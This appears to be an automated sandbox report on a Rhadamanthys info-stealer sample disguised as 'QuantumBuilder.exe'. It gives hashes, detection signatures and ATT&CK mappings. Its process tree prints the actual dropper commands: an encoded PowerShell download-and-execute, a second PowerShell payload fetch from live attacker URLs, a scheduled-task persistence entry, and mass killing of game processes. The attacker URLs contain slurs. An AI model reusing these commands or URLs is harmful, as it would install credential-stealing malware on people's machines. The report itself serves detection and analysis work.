rhadamanthys | 14fd87baefddee9626eb957848f13b77b0eeede39fb682b5b979eeea81f5d0c8

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
08/06/2024, 12:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
QUANTUMBUILDER/QuantumBuilder.exe
Size 7KB
Sample240608-p4rhzscf95
SHA256 31e6573e37d06a71b3025c0e9ed4901093ed5262bc60bbbdf7ce1ed28ebb021a
MD5 960d70161f0ac1ddd8093955446bdcbc
SHA1 5943c81939f9b43228e2fe2f65e90c54660ae47f
SHA512 8f3f6091fb3d09d4cdb0f9540bbbc2de0562dd5bb77c8446db49f274be7b173cbc0aa24206e25838cc6b6c6578440c0ecfd1a17acc94c50ebd014cbe16617c14
SSDEEP 192:+9yqvjp73xsznGjcJr9emxan6mUqlwc6nYZKvkV/9dXq:+9Jv1dOnGjcJrQmxan6m/ec6nYZSkV/2
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

rhadamanthys execution stealer

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
https://rentry.org/FUCKOFFNIGGA/raw

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://bitbucket.org/gedegrereghh/fuckyougithub/raw/37140025d15f5d49ec2bd023f7557f06268d7c49/pancake-unpacked.rar

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1432 created 2596	1432	kao2g202.buj1.exe	44

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	4500	powershell.exe
9	4500	powershell.exe
21	452	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	QuantumBuilder.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	kao2g202.buj0.exe

Executes dropped EXE 2 IoCs

pid	Process
2196	kao2g202.buj0.exe
1432	kao2g202.buj1.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
8	bitbucket.org
9	bitbucket.org
21	bitbucket.org

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4500	powershell.exe
452	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2232	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
2248	timeout.exe
2224	timeout.exe

Enumerates processes with tasklist 1 TTPs 8 IoCs

Process Discovery

T1057

pid	Process
2772	tasklist.exe
2924	tasklist.exe
2008	tasklist.exe
3916	tasklist.exe
4664	tasklist.exe
1180	tasklist.exe
1032	tasklist.exe
1316	tasklist.exe

Kills process with taskkill 8 IoCs

evasion

pid	Process
1600	taskkill.exe
4076	taskkill.exe
1224	taskkill.exe
3108	taskkill.exe
3820	taskkill.exe
4000	taskkill.exe
4176	taskkill.exe
4564	taskkill.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4500	powershell.exe
4500	powershell.exe
452	powershell.exe
452	powershell.exe
1432	kao2g202.buj1.exe
1432	kao2g202.buj1.exe
4888	dialer.exe
4888	dialer.exe
4888	dialer.exe
4888	dialer.exe
1796	powershell.exe
1796	powershell.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeDebugPrivilege	452	powershell.exe
Token: SeDebugPrivilege	2008	tasklist.exe
Token: SeDebugPrivilege	3820	taskkill.exe
Token: SeDebugPrivilege	3916	tasklist.exe
Token: SeDebugPrivilege	4000	taskkill.exe
Token: SeDebugPrivilege	4664	tasklist.exe
Token: SeDebugPrivilege	4176	taskkill.exe
Token: SeDebugPrivilege	1180	tasklist.exe
Token: SeDebugPrivilege	4564	taskkill.exe
Token: SeDebugPrivilege	1032	tasklist.exe
Token: SeDebugPrivilege	1600	taskkill.exe
Token: SeDebugPrivilege	1316	tasklist.exe
Token: SeDebugPrivilege	4076	taskkill.exe
Token: SeDebugPrivilege	2772	tasklist.exe
Token: SeDebugPrivilege	1224	taskkill.exe
Token: SeDebugPrivilege	2924	tasklist.exe
Token: SeDebugPrivilege	3108	taskkill.exe
Token: SeDebugPrivilege	1796	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4316 wrote to memory of 4500	4316	QuantumBuilder.exe	82
PID 4316 wrote to memory of 4500	4316	QuantumBuilder.exe	82
PID 4500 wrote to memory of 2196	4500	powershell.exe	86
PID 4500 wrote to memory of 2196	4500	powershell.exe	86
PID 4500 wrote to memory of 1432	4500	powershell.exe	87
PID 4500 wrote to memory of 1432	4500	powershell.exe	87
PID 4500 wrote to memory of 1432	4500	powershell.exe	87
PID 2196 wrote to memory of 2428	2196	kao2g202.buj0.exe	88
PID 2196 wrote to memory of 2428	2196	kao2g202.buj0.exe	88
PID 2428 wrote to memory of 4884	2428	cmd.exe	90
PID 2428 wrote to memory of 4884	2428	cmd.exe	90
PID 2428 wrote to memory of 3160	2428	cmd.exe	91
PID 2428 wrote to memory of 3160	2428	cmd.exe	91
PID 2428 wrote to memory of 552	2428	cmd.exe	92
PID 2428 wrote to memory of 552	2428	cmd.exe	92
PID 2428 wrote to memory of 3844	2428	cmd.exe	93
PID 2428 wrote to memory of 3844	2428	cmd.exe	93
PID 2428 wrote to memory of 4848	2428	cmd.exe	94
PID 2428 wrote to memory of 4848	2428	cmd.exe	94
PID 2428 wrote to memory of 2232	2428	cmd.exe	95
PID 2428 wrote to memory of 2232	2428	cmd.exe	95
PID 2428 wrote to memory of 5104	2428	cmd.exe	96
PID 2428 wrote to memory of 5104	2428	cmd.exe	96
PID 5104 wrote to memory of 1568	5104	cmd.exe	97
PID 5104 wrote to memory of 1568	5104	cmd.exe	97
PID 2428 wrote to memory of 3108	2428	cmd.exe	98
PID 2428 wrote to memory of 3108	2428	cmd.exe	98
PID 3108 wrote to memory of 1900	3108	cmd.exe	99
PID 3108 wrote to memory of 1900	3108	cmd.exe	99
PID 2428 wrote to memory of 452	2428	cmd.exe	100
PID 2428 wrote to memory of 452	2428	cmd.exe	100
PID 1432 wrote to memory of 4888	1432	kao2g202.buj1.exe	103
PID 1432 wrote to memory of 4888	1432	kao2g202.buj1.exe	103
PID 1432 wrote to memory of 4888	1432	kao2g202.buj1.exe	103
PID 1432 wrote to memory of 4888	1432	kao2g202.buj1.exe	103
PID 1432 wrote to memory of 4888	1432	kao2g202.buj1.exe	103
PID 2428 wrote to memory of 2008	2428	cmd.exe	111
PID 2428 wrote to memory of 2008	2428	cmd.exe	111
PID 2428 wrote to memory of 1076	2428	cmd.exe	112
PID 2428 wrote to memory of 1076	2428	cmd.exe	112
PID 2428 wrote to memory of 3820	2428	cmd.exe	113
PID 2428 wrote to memory of 3820	2428	cmd.exe	113
PID 2428 wrote to memory of 3916	2428	cmd.exe	114
PID 2428 wrote to memory of 3916	2428	cmd.exe	114
PID 2428 wrote to memory of 1540	2428	cmd.exe	115
PID 2428 wrote to memory of 1540	2428	cmd.exe	115
PID 2428 wrote to memory of 4000	2428	cmd.exe	116
PID 2428 wrote to memory of 4000	2428	cmd.exe	116
PID 2428 wrote to memory of 4664	2428	cmd.exe	117
PID 2428 wrote to memory of 4664	2428	cmd.exe	117
PID 2428 wrote to memory of 220	2428	cmd.exe	118
PID 2428 wrote to memory of 220	2428	cmd.exe	118
PID 2428 wrote to memory of 4176	2428	cmd.exe	119
PID 2428 wrote to memory of 4176	2428	cmd.exe	119
PID 2428 wrote to memory of 1180	2428	cmd.exe	120
PID 2428 wrote to memory of 1180	2428	cmd.exe	120
PID 2428 wrote to memory of 4704	2428	cmd.exe	121
PID 2428 wrote to memory of 4704	2428	cmd.exe	121
PID 2428 wrote to memory of 4564	2428	cmd.exe	122
PID 2428 wrote to memory of 4564	2428	cmd.exe	122
PID 2428 wrote to memory of 1032	2428	cmd.exe	123
PID 2428 wrote to memory of 1032	2428	cmd.exe	123
PID 2428 wrote to memory of 2792	2428	cmd.exe	124
PID 2428 wrote to memory of 2792	2428	cmd.exe	124

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2596
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4888

C:\Users\Admin\AppData\Local\Temp\QUANTUMBUILDER\QuantumBuilder.exe
"C:\Users\Admin\AppData\Local\Temp\QUANTUMBUILDER\QuantumBuilder.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAdABoACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawBtAG4AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaQBuAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcABlAG0AIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAEYAVQBDAEsATwBGAEYATgBJAEcARwBBAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBkAHYAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG4AagBkACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAeQB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB6AHUAagAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBmAHcAaQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAagBtAG4AIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHkAYwBoACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4500
- - C:\Users\Admin\AppData\Roaming\kao2g202.buj0.exe
    "C:\Users\Admin\AppData\Roaming\kao2g202.buj0.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2196
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2F8C.tmp\2F8D.tmp\2F8E.bat C:\Users\Admin\AppData\Roaming\kao2g202.buj0.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2428
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:4884
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:3160
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:552
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:3844
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:4848
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
        5⤵
        Creates scheduled task(s)
        
        PID:2232
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5104
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:1568
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3108
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:1900
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/gedegrereghh/fuckyougithub/raw/37140025d15f5d49ec2bd023f7557f06268d7c49/pancake-unpacked.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:452
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2008
    - - C:\Windows\system32\find.exe
        
        find /i "tf_win64.exe"
        5⤵
        
        PID:1076
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im tf_win64.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3820
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3916
    - - C:\Windows\system32\find.exe
        
        find /i "dota2.exe"
        5⤵
        
        PID:1540
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im dota2.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4000
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4664
    - - C:\Windows\system32\find.exe
        
        find /i "cs2.exe"
        5⤵
        
        PID:220
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cs2.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4176
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1180
    - - C:\Windows\system32\find.exe
        
        find /i "RustClient.exe"
        5⤵
        
        PID:4704
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RustClient.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4564
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1032
    - - C:\Windows\system32\find.exe
        
        find /i "GTA5.exe"
        5⤵
        
        PID:2792
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im GTA5.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1600
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1316
    - - C:\Windows\system32\find.exe
        
        find /i "TslGame.exe"
        5⤵
        
        PID:3224
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im TslGame.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4076
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2772
    - - C:\Windows\system32\find.exe
        
        find /i "RainbowSix.exe"
        5⤵
        
        PID:2892
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RainbowSix.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1224
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2248
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2924
    - - C:\Windows\system32\find.exe
        
        find /i "steam.exe"
        5⤵
        
        PID:924
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im steam.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3108
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2224
    - - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
        5⤵
        
        PID:3312
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell "$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('C:\Users\Admin\Desktop\Steam.lnk'); $s.TargetPath = '\steam.exe'; $s.Save()"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1796
- - C:\Users\Admin\AppData\Roaming\kao2g202.buj1.exe
    "C:\Users\Admin\AppData\Roaming\kao2g202.buj1.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 4d1fb0f061443c242efe97aa111051274348ca152659b45ff5e2fc8c5ac42bb6
MD5 24d266adbd931f93b16cccd4629cf0d7
SHA1 67611c5a1fbb242b6b145c52017c30489d5bd1de
SHA512 e189795544a2a995aa96645fbec609e25056f4b049f8bc13712b62da1b2f2013c6849c89f35a97c9ff2e7a1a04f8c621e6c62d1c837d65d447c0d08157c77998
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1d4386c8314cab4e8eac6f967e2bb30f90ee8237e0efcb83e19009992c6839e7
MD5 6357c130bbc57129b860a4081fc674d5
SHA1 bf3d5fa9e35289bdd3834de44a44d3a8cf6f07f2
SHA512 5b7205aa79a728e699e5d396cdf95adcf135ebb52ffbe17f87bf4109fc1ee036f507c9ada5eca11d87cb269527443838592ab2a4427b5452c7fae5710cb41149
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383
MD5 0f6a3762a04bbb03336fb66a040afb97
SHA1 0a0495c79f3c8f4cb349d82870ad9f98fbbaac74
SHA512 cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69
MD5 SHA1 SHA512

Submit Download

2F8E.bat

Path C:\Users\Admin\AppData\Local\Temp\2F8C.tmp\2F8D.tmp\2F8E.bat
Size 6KB
SHA256 3b03eba10dc8cc18f1ffa3726d6ff3e242183da10b47c8217f0b3b79eee1b3c8
MD5 5356df66c550e8bf737e23956f5a8406
SHA1 8f40c948922bcc96ee5bb79ad6ed71ac0369c7f9
SHA512 abef71ab94f3821f5430d1f65902fc06b2bd73b6c2014d8c9fc5718e9241db5534f033a414d328d1f135d454f46d44986bc5cab52f2d8c828557d92e3976e7f4
SSDEEP 192:Ps70wx4Ln/57EZqxdBOYwdvA830pOp8UZfFr/U7TGXsQxRywNY6jc:k70m4LR7EGNwdvxxKTGXHsw66A
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_12z5jssq.5tx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_12z5jssq.5tx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

kao2g202.buj0.exe

Path C:\Users\Admin\AppData\Roaming\kao2g202.buj0.exe
Size 126KB
SHA256 36d868815764b2c7b77ded962a02c2949db328a98ac714644e9426bb6d47fa1a
MD5 2f6b6a51b8426be18badffd9294b0d9f
SHA1 2d4aaeffe325c93e61c38349d5a41fdb1b58c24f
SHA512 3628f903a02fd27b049addfba2f936aee4d039f2c201438fd12d8bca58ab2dee852d3cfd54cd78fe9ec0b2ea86eb85c980dcea271e76e26a7588a4e8fc614d6c
SSDEEP 3072:O2sMWkzbJh1qZ9QW69hd1MMdxPe9N9uA0hu9TBfcXPhAyZY:vbJhs7QW69hd1MMdxPe9N9uA0hu9TBCe
MD5 SHA1 SHA512 SSDEEP

Submit Download

kao2g202.buj1.exe

Path C:\Users\Admin\AppData\Roaming\kao2g202.buj1.exe
Size 355KB
SHA256 7205faf5054589ce7dc6b68dcfea45c18859cb49a3c0d4bda840fc9d308152bd
MD5 01a72f1659cfe71d56340773f3c89bf9
SHA1 b87d0a06df5896b9129efd823ea237905cfa9d1e
SHA512 59e1de953a7bbb7f87da2de9c9575ba7c0098b31afc549c1eff2256ee9beddc590aec88d32716f386fd3a7037d610365d72bbded94278cd0d341ce337579d1e8
SSDEEP 6144:g2qezd2ab1/RuHk+M3k8M3W7XomjOJCqshrOlumY6DMIewgxQfqbsb:gf2R/EEkCQFYDwRqg
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1432-57-0x00007FF9081D0000-0x00007FF9083C5000-memory.dmp

Download

memory/1432-56-0x00000000038C0000-0x0000000003CC0000-memory.dmp

Download

memory/1432-59-0x0000000076830000-0x0000000076A45000-memory.dmp

Download

memory/1432-38-0x0000000000440000-0x00000000004AD000-memory.dmp

Download

memory/1432-55-0x00000000038C0000-0x0000000003CC0000-memory.dmp

Download

memory/1432-61-0x0000000000440000-0x00000000004AD000-memory.dmp

Download

memory/4316-0-0x0000000000B00000-0x0000000000B08000-memory.dmp

Download

memory/4316-1-0x00007FF8E9E53000-0x00007FF8E9E55000-memory.dmp

Download

memory/4500-15-0x00007FF8E9A30000-0x00007FF8EA4F1000-memory.dmp

Download

memory/4500-41-0x00007FF8E9A30000-0x00007FF8EA4F1000-memory.dmp

Download

memory/4500-17-0x00007FF8E9A30000-0x00007FF8EA4F1000-memory.dmp

Download

memory/4500-16-0x00007FF8E9A30000-0x00007FF8EA4F1000-memory.dmp

Download

memory/4500-14-0x00007FF8E9A30000-0x00007FF8EA4F1000-memory.dmp

Download

memory/4500-13-0x00007FF8E9A30000-0x00007FF8EA4F1000-memory.dmp

Download

memory/4500-12-0x0000019676FF0000-0x0000019677012000-memory.dmp

Download

memory/4888-60-0x00000000003B0000-0x00000000003B9000-memory.dmp

Download

memory/4888-63-0x00000000023B0000-0x00000000027B0000-memory.dmp

Download

memory/4888-66-0x0000000076830000-0x0000000076A45000-memory.dmp

Download

memory/4888-64-0x00007FF9081D0000-0x00007FF9083C5000-memory.dmp

Download